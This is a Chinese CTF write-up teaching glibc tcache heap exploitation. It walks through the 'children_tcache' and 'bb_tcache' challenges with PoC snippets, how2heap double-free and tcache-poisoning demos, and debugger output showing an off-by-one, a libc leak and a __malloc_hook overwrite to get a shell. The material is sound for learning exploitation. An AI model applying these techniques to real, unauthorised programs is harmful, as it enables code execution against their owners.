前言

最近比赛Pwn的libc版本越来越多2.26以上的了,也就相当于多了不少tcache相关的题目,于是最近恶补了一波tcache机制相关的东西,并记录下tcache相关题目的调试

tcache简介

tcache(thread local )是glibc在2.26版本新出现的一种内存管理机制,它优化了分配效率却也降低了安全性,一些漏洞的利用条件变得容易了许多

首先我们先看下tcache新引入的两个数据结构tcache_entry 和tcache_perthread_struct

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

这里简单的说明一下tcache和fastbin的结构都很相像也都是单链表结构,明显的不同是fastbin每个bins有10个块而tcache是7个并且tcache的优先级要高于fastbin,相当于只有tcache放不下了才会放入fastbin

(0x20)   tcache_entry[0]: 0x55ea7bc0d320 --> 0x55ea7bc0d300 --> 0x55ea7bc0d2e0 -->
 0x55ea7bc0d2c0 --> 0x55ea7bc0d2a0 --> 0x55ea7bc0d280 --> 0x55ea7bc0d260

我们先看下题目的基本信息,这里我是用了自己写的一个pwn环境来实现tcache的调试具体链接会在末尾放出

➜  tcache file children_tcache 
children_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ebf73572ad77a035a366578bf87c6aabc6a235a1, stripped
➜  tcache checksec children_tcache 
[*] '/home/ctf/process/tcache/children_tcache'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位防护全开的程序,真的刺激,我们看下程序干了些什么

➜  tcache ./children_tcache 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
    Children Tcache    
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. New heap           $
$   2. Show heap          $
$   3. Delete heap        $ 
$   4. Exit               $ 
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice: 1
Size:12
Data:aaaa

一个基本的菜单类型的pwn题,在简单的审计过后就能发现漏洞,首先我们看下程序本身产生的问题

void new()
{
  signed int i; // [rsp+Ch] [rbp-2034h]
  char *note_chunk; // [rsp+10h] [rbp-2030h]
  unsigned __int64 size; // [rsp+18h] [rbp-2028h]
  char buf; // [rsp+20h] [rbp-2020h]
  unsigned __int64 v4; // [rsp+2038h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(&buf, 0, 0x2010uLL);
  for ( i = 0; ; ++i )
  {
    if ( i > 9 )
    {
      puts(":(");
      return;
    }
    if ( !note[i] )
      break;
  }
  printf("Size:");
  size = input();
  if ( size > 0x2000 )
    exit(-2);
  note_chunk = malloc(size);
  if ( !note_chunk )
    exit(-1);
  printf("Data:");
  read_chk_input(&buf, size);
  strcpy(note_chunk, &buf);
  note[i] = note_chunk;
  note_size[i] = size;
}

我们知道strcpy在拷贝字符串时连末尾的'\0'也会一起拷贝,假设我们的字符串长度刚好和所分配给它的长度相等,那么就可能会造成null-byte-off-by-one漏洞,我们简单的验证一下

#poc
new(0x10,'a'*8)
new(0x110,'aaaa')
raw_input()

free(0)
new(0x18,'a'*0x18)
raw_input()
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x565258e29000      0x0                 0x250                Used                None              None
0x565258e29250      0x0                 0x20                 Used                None              None
0x565258e29270      0x0                 0x110                Used                None              None

pwndbg> parseheap
addr                prev                size                 status              fd                bk   
0x565258e29000      0x0                 0x250                Used                None              None
0x565258e29250      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x565258e29270      0x6161616161616161  0x100                Freed         0x62626262               0x0
Corrupt ?! (size == 0) (0x565258e29370)
pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000  0x0000000000000021
0x565258e29260: 0x6161616161616161  0x0000000000000000
0x565258e29270: 0x0000000000000000  0x0000000000000111
0x565258e29280: 0x0000000062626262  0x0000000000000000

pwndbg> x/8x 0x565258e29250
0x565258e29250: 0x0000000000000000  0x0000000000000021
0x565258e29260: 0x6161616161616161  0x6161616161616161
0x565258e29270: 0x6161616161616161  0x0000000000000100   ==>这里原本应该为0x111但最末尾的0x11被0x00覆盖了
0x565258e29280: 0x0000000062626262  0x0000000000000000

由于这题的出题人用0xda填充整个chunk,所以我们不能直接伪造pre_size来overlapping

void delete()
{
  unsigned __int64 idx; // [rsp+8h] [rbp-8h]

  printf("Index:");
  idx = input();
  if ( idx > 9 )
    exit(-3);
  if ( note[idx] )
  {
    memset(note[idx], 0xDA, note_size[idx]);
    free(note[idx]);
    note[idx] = 0LL;
    note_size[idx] = 0LL;
  }
  puts(":)");
}

但我们刚刚才验证的null byte off-by-one溢出的字节为\x00,所以我们可以通过反复的利用这个把pre_size位清0来构造overlapping

#poc
new(0x10,'aaaa')
new(0x110,'aaaa')
free(0)
for i in range(8):
    new(0x10-i,'a'*(0x10-i))
    free(0)
raw_input()
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x560894f1f000      0x0                 0x20                 Freed 0x61616161616161610x6161616161616161
0x560894f1f020      0x130               0x100                Freed         0x61616161               0x0
Corrupt ?! (size == 0) (0x560894f1f120)
pwndbg> x/8x 0x560894f1f000
0x560894f1f000: 0x0000000000000000  0x0000000000000021
0x560894f1f010: 0x6161616161616161  0x6161616161616161
0x560894f1f020: 0x0000000000000130  0x0000000000000100
0x560894f1f030: 0x0000000061616161  0x0000000000000000

接着我们需要libc_base来方便后面的操作,我们可以看到在new中对size的检验范围十分大,这时我们可以通过unsort_bin_attack来泄露一个紧贴libc的地址 ,之后我们可以通过调试得到这个地址与libc_base的偏移,就相当与泄露出了libc_base

printf("Size:");
  size = input();
  if ( size > 0x2000 )
    exit(-2);
  note_chunk = malloc(size);

我们简单的做个unsort_bin_attack尝试把这个地址写入到chunk上

#poc
new(0x500,'aaaaa')
new(0x10,'bbbb')
free(1)
free(0)
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x55763fe59000      0x0                 0x250                Used                None              None
0x55763fe59250      0x0                 0x510                Freed     0x7f74dac85c78    0x7f74dac85c78
0x55763fe59760      0x510               0x20                 Used                None              None
pwndbg> x/8x 0x55763fe59250
0x55763fe59250: 0x0000000000000000  0x0000000000000511
0x55763fe59260: 0x00007f74dac85c78  0x00007f74dac85c78 <==
0x55763fe59270: 0x0000000000000000  0x0000000000000000
0x55763fe59280: 0xdadadadadadadada  0xdadadadadadadada

有了这些条件后我们便可以去泄露libc了,我们用图演示下流程

#free before
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x55a2d6e3a000      0x0                 0x250                Used                None              None
0x55a2d6e3a250      0x0                 0x510                Freed     0x7fba63b37c78    0x7fba63b37c78
0x55a2d6e3a760      0x510               0x30                 Freed 0x61616161616161610x6161616161616161
0x55a2d6e3a790      0x540               0x500                Used                None              None
0x55a2d6e3ac90      0x0                 0x20                 Used                None              None
pwndbg> x/8x 0x55a2d6e3a760
0x55a2d6e3a760: 0x0000000000000510  0x0000000000000030
0x55a2d6e3a770: 0x6161616161616161  0x6161616161616161
0x55a2d6e3a780: 0x6161616161616161  0x6161616161616161
0x55a2d6e3a790: 0x0000000000000540  0x0000000000000500
pwndbg> x/8x 0x55a2d6e3a790
0x55a2d6e3a790: 0x0000000000000540  0x0000000000000500
0x55a2d6e3a7a0: 0x0000000063636363  0x0000000000000000
0x55a2d6e3a7b0: 0x0000000000000000  0x0000000000000000
0x55a2d6e3a7c0: 0x0000000000000000  0x0000000000000000

#free after
pwndbg> parseheap
addr                prev                size                 status              fd                bk
0x563204289000      0x0                 0x250                Used                None              None
0x563204289250      0x0                 0xa40                Freed     0x7f01905acc78    0x7f01905acc78
0x563204289c90      0xa40               0x20                 Used                None              None
pwndbg> x/8x 0x563204289250
0x563204289250: 0x0000000000000000  0x0000000000000a41
0x563204289260: 0x00007f01905acc78  0x00007f01905acc78
0x563204289270: 0x0000000000000000  0x0000000000000000
0x563204289280: 0xdadadadadadadada  0xdadadadadadadada
pwndbg>

这时我们再新建一个chunk分配大小和chunk0一样时,chunk就会分配到chunk0所在的位置,这时我们show(0)即可leak_libc

这样我们所有的前置工作就做好了,接着就是通过tcache_dup和tcache_poisoning来getshell了

首先我们先通过how2heap了解下

#include <stdio.h>
#include <stdlib.h>
//tcache_dup
int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");

    fprintf(stderr, "Allocating buffer.\n");
    int *a = malloc(8);

    fprintf(stderr, "malloc(8): %p\n", a);
    fprintf(stderr, "Freeing twice...\n");
    free(a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
    fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));

    return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
// tcache poisoning
int main()
{
    "This file demonstrates a simple tcache poisoning attack by tricking malloc into"
    "returning a pointer to an arbitrary location (in this case, the stack)."
    "The attack is very similar to fastbin corruption attack."

    size_t stack_var;
    fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);

    "Allocating 1 buffer."
    intptr_t *a = malloc(128);
    fprintf(stderr, "malloc(128): %p\n", a);
    "Freeing the buffer..."
    free(a);

    fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
    fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
        "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
    a[0] = (intptr_t)&stack_var;

    fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
    fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);

    intptr_t *b = malloc(128);
    fprintf(stderr, "2nd malloc(128): %p\n", b);
    "We got the control"
    return 0;
}

我们可以很明显的感受到tcache_dup就是弱化版的fastbin_double_free,我们先看一下源码相关的函数

tcache_put (mchunkptr chunk, size_t tc_idx)
{
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
}

这就是我之前所说过引入tcache机制降低了安全性的一个体现,本来应该要有tcache->counts[tc_idx] 的相关检验,却为提升效率而去掉了,这也侧面的说明安全和性能处在一个此消彼长的状态

我们简单的调试下tcache_dup

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55a661cd5270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x55a661cd5260 --> 0x55a661cd5260 (overlap chunk with 0x55a661cd5250(freed) )

我们直接free两次同一个chunk,就能直接得到两个指向同一块内存区域的指针,这无疑比正常在fastbin下的double free简易许多

接着我们看下tcache_poisoning,简单来说tcache_poisoning就是一个通过覆盖tcache_next就直接可以malloc到任意地址去将其覆盖为one_gadget或是别的东西去进行利用的一个很万金油的用法,我们调试下how2heap给的程序

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55a464be82e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x55a464be8260

它先往tcache里面放了一个0x80的chunk,然后我们再看下修改了tcache_next后的tcache_entry是怎么样的

────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────
   20   fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
   21   fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
   22       "to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
   23   a[0] = (intptr_t)&stack_var;
   2425   fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
   26   fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
   27 
   28   intptr_t *b = malloc(128);
   29   fprintf(stderr, "2nd malloc(128): %p\n", b);
   30   fprintf(stderr, "We got the control\n");
────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rdx rsp  0x7ffe99bc1bb0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push   r15
01:0008│          0x7ffe99bc1bb8 —▸ 0x55a464be8260 —▸ 0x7ffe99bc1bb0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push   r15
02:0010│          0x7ffe99bc1bc0 —▸ 0x7ffe99bc1cb0 ◂— 0x1
03:0018│          0x7ffe99bc1bc8 ◂— 0xad94ca33a5db2a00
04:0020│ rbp      0x7ffe99bc1bd0 —▸ 0x55a4635689a0 (__libc_csu_init) ◂— push   r15
05:0028│          0x7ffe99bc1bd8 —▸ 0x7f6dd0a631c1 (__libc_start_main+241) ◂— mov    edi, eax
06:0030│          0x7ffe99bc1be0 ◂— 0x40000
07:0038│          0x7ffe99bc1be8 —▸ 0x7ffe99bc1cb8 —▸ 0x7ffe99bc2912 ◂— 0x74632f656d6f682f ('/home/ct')
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55a464be82e0 (size : 0x20d20) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x55a464be8260 --> 0x7ffe99bc1bb0 --> 0x55a4635689a0

我们可以看见设置的栈地址放在了tcache_entry的第二个堆,这时我们只要new两个0x80大小的chunk就可以控制tcache_next所在的空间

我们拿个例题来看看,这是山东省科来杯的一道简单pwn题,由于他给的libc就叫libc-2.27所以我们直接用ubuntu18.04的环境去调试,首先我们先看下题目的基本信息

➜  bbtcache file bb_tcache 
bb_tcache: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=642e76244eb176cccd3e281014f18a7ea7551682, stripped
➜  bbtcache checksec bb_tcache 
[*] '/home/Ep3ius/pwn/process/bbtcache/bb_tcache'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

我们接着反编译分析一下题目

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned int i; // [rsp+Ch] [rbp-14h]
  int choice; // [rsp+10h] [rbp-10h]
  void *chunk; // [rsp+18h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  i = 0;
  puts("Welcome to easy heap game!");
  printf("I think you might need this: 0x%016llx\n", &system);
  while ( i != 7 )
  {
    menu(++i);
    choice = fgets_input();
    if ( choice == 2 )                          // free
    {
      free(chunk);
    }
    else if ( choice == 3 )                     // write
    {
      puts("You might need this to tamper something.");
      read(0, chunk, 8uLL);
    }
    else
    {
      if ( choice != 1 )                        // new
        exit(0);
      chunk = malloc(0x10uLL);
    }
  }
  puts("Game over!");
  exit(0);
}

程序逻辑十分清晰,一共七次机会进行new、free、write的操作来getshell,由于除了次数没有任何限制,所以我们能很直接的体会到tcache机制所带来的安全方面问题,我们先做个标准的tcache_poisoning起手式,先放一个堆块到tcache_entry

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x556b70596270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x556b70596260

接着我们通过write操作去修改一下tcache_next为&malloc_hook

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x556b70596270 (size : 0x20d90) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x20)   tcache_entry[0]: 0x556b70596260 --> 0x7f2d9da10c10 (&__malloc_hook)

接着new两次把tcache从取出并把malloc_hook修改成one_gadget后new一个新chunk触发malloc_hook就可以getshell了,很简单又直接的题目吧。

我们回到children_tcache,先做个tcache_dup,也就是对我们之前插在两个unsort_bin中间的chunk进行两次free

pwndbg> parseheap
addr                prev                size                 status              fd                bk 
0x564f27df9000      0x0                 0x250                Used                None              None
0x564f27df9250      0x0                 0x510                Used                None              None
0x564f27df9760      0x510               0x30                 Used                None              None
0x564f27df9790      0xdadadadadadadada  0x4f0                Freed     0x7fa26b599c78    0x7fa26b599c78
0x564f27df9c80      0x4f0               0x20                 Used                None              None
pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x556e12172ca0 (size : 0x20360) 
       last_remainder: 0x556e12172790 (size : 0x4f0) 
            unsortbin: 0x556e12172790 (size : 0x4f0)
(0x30)   tcache_entry[1]: 0x556e12172770
pwndbg>

接着我们只要free(2)就相当于获得了两个指向0x556e12172770的指针

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x556e12172ca0 (size : 0x20360) 
       last_remainder: 0x556e12172790 (size : 0x4f0) 
            unsortbin: 0x556e12172790 (size : 0x4f0)
(0x30)   tcache_entry[1]: 0x556e12172770 --> 0x556e12172770 (overlap chunk with 0x556e12172760(freed) )

接着我们就可以new一个新tcache里面存放malloc_hook然后通过tcache_poisoning就可以把malloc_hook修改为one_gadget,再new一个新chunk就可以getshell了。

在不断的挖掘tcache机制就会遇到更多更有意思的东西,虽然降低安全性但也变得更加有趣了(滑稽)

感谢M4x师傅,kirin师傅,Hpasserby师傅的知识分享

相关链接

调试环境 : nepire-pwn (将~/nepire-pwn/DOCKER/Dockerfile第一行的16.04 换成17.10或更高即可调试tcache)

调试器:PWNDBG

源链接

Hacking more

...